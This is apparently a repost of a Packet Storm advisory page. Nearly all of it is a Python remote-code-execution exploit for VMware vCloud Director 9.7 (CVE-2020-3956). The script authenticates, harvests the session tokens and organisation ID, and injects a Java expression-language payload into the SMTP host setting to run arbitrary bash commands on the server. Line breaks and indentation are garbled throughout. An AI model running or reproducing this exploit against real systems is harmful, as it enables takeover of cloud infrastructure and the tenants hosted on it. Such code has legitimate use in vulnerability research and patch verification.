Exploit/Advisories

Published on June 5th, 2020 📆 | 1973 Views ⚑

0

VMWare vCloud Director 9.7.0.15498291 Remote Code Execution ≈ Packet Storm


iSpeech.org
[*]# Exploit Title: VMWAre vCloud Director 9.7.0.15498291 - Remote Code Execution[*]# Exploit Author: Tomas Melicher[*]# Technical Details: https://citadelo.com/en/blog/full-infrastructure-takeover-of-vmware-cloud-director-CVE-2020-3956/[*]# Date: 2020-05-24[*]# Vendor Homepage: https://www.vmware.com/[*]# Software Link: https://www.vmware.com/products/cloud-director.html[*]# Tested On: vCloud Director 9.7.0.15498291[*]# Vulnerability Description: [*]# VMware vCloud Director suffers from an Expression Injection Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) via submitting malicious value as a SMTP host name.

#!/usr/bin/python

import argparse # pip install argparse[*]import base64, os, re, requests, sys[*]if sys.version_info >= (3, 0):[*]from urllib.parse import urlparse[*]else:[*]from urlparse import urlparse

from requests.packages.urllib3.exceptions import InsecureRequestWarning[*]requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

PAYLOAD_TEMPLATE = "${''.getClass().forName('java.io.BufferedReader').getDeclaredConstructors()[1].newInstance(''.getClass().forName('java.io.InputStreamReader').getDeclaredConstructors()[3].newInstance(''.getClass().forName('java.lang.ProcessBuilder').getDeclaredConstructors()[0].newInstance(['bash','-c','echo COMMAND|base64 -di|bash|base64 -w 0']).start().getInputStream())).readLine()}"[*]session = requests.Session()

def login(url, username, password, verbose):[*]target_url = '%s://%s%s'%(url.scheme, url.netloc, url.path)[*]res = session.get(target_url)[*]match = re.search(r'tenant:([^"]+)', res.content, re.IGNORECASE)[*]if match:[*]tenant = match.group(1)[*]else:[*]print('[!] can't find tenant identifier')[*]return

if verbose:[*]print('[*] tenant: %s'%(tenant))

match = re.search(r'security_check?[^"]+', res.content, re.IGNORECASE)[*]if match: # Cloud Director 9.*[*]login_url = '%s://%s/login/%s'%(url.scheme, url.netloc, match.group(0))[*]res = session.post(login_url, data={'username':username,'password':password})[*]if res.status_code == 401:[*]print('[!] invalid credentials')[*]return[*]else: # Cloud Director 10.*[*]match = re.search(r'/cloudapi/.*/sessions', res.content, re.IGNORECASE)[*]if match:[*]login_url = '%s://%s%s'%(url.scheme, url.netloc, match.group(0))[*]headers = {[*]'Authorization': 'Basic %s'%(base64.b64encode('%s@%s:%s'%(username,tenant,password))),[*]'Accept': 'application/json;version=29.0',[*]'Content-type': 'application/json;version=29.0'[*]}[*]res = session.post(login_url, headers=headers)[*]if res.status_code == 401:[*]print('[!] invalid credentials')[*]return[*]else:[*]print('[!] url for login form was not found')[*]return

cookies = session.cookies.get_dict()[*]jwt = cookies['vcloud_jwt'][*]session_id = cookies['vcloud_session_id']

if verbose:[*]print('[*] jwt token: %s'%(jwt))[*]print('[*] session_id: %s'%(session_id))

res = session.get(target_url)[*]match = re.search(r'organization : '([^']+)', res.content, re.IGNORECASE)[*]if match is None:[*]print('[!] organization not found')[*]return[*]organization = match.group(1)[*]if verbose:[*]print('[*] organization name: %s'%(organization))

match = re.search(r'orgId : '([^']+)', res.content)[*]if match is None:[*]print('[!] orgId not found')[*]return[*]org_id = match.group(1)[*]if verbose:[*]print('[*] organization identifier: %s'%(org_id))





return (jwt,session_id,organization,org_id)

def exploit(url, username, password, command, verbose):[*](jwt,session_id,organization,org_id) = login(url, username, password, verbose)

headers = {[*]'Accept': 'application/*+xml;version=29.0',[*]'Authorization': 'Bearer %s'%jwt,[*]'x-vcloud-authorization': session_id[*]}[*]admin_url = '%s://%s/api/admin/'%(url.scheme, url.netloc)[*]res = session.get(admin_url, headers=headers)[*]match = re.search(r's*([^< s]+)', res.content, re.IGNORECASE)[*]if match:[*]version = match.group(1)[*]if verbose:[*]print('[*] detected version of Cloud Director: %s'%(version))[*]else:[*]version = None[*]print('[!] can't find version of Cloud Director, assuming it is more than 10.0')

email_settings_url = '%s://%s/api/admin/org/%s/settings/email'%(url.scheme, url.netloc, org_id)

payload = PAYLOAD_TEMPLATE.replace('COMMAND', base64.b64encode('(%s) 2>&1'%command))[*]data = 'false'[*]data += 'true'[*]data += 'true'[*]data += 'false%s25'%(payload)[*]data += ''[*]res = session.put(email_settings_url, data=data, headers=headers)[*]match = re.search(r'value:s*[([^]]+)]', res.content)

if verbose:[*]print('')[*]try:[*]print(base64.b64decode(match.group(1)))[*]except Exception:[*]print(res.content)

parser = argparse.ArgumentParser(usage='%(prog)s -t target -u username -p password [-c command] [--check]')[*]parser.add_argument('-v', action='store_true')[*]parser.add_argument('-t', metavar='target', help='url to html5 client (http://example.com/tenant/my_company)', required=True)[*]parser.add_argument('-u', metavar='username', required=True)[*]parser.add_argument('-p', metavar='password', required=True)[*]parser.add_argument('-c', metavar='command', help='command to execute', default='id')[*]args = parser.parse_args()

url = urlparse(args.t)[*]exploit(url, args.u, args.p, args.c, args.v)[*]

Source link

Tagged with:



Comments are closed.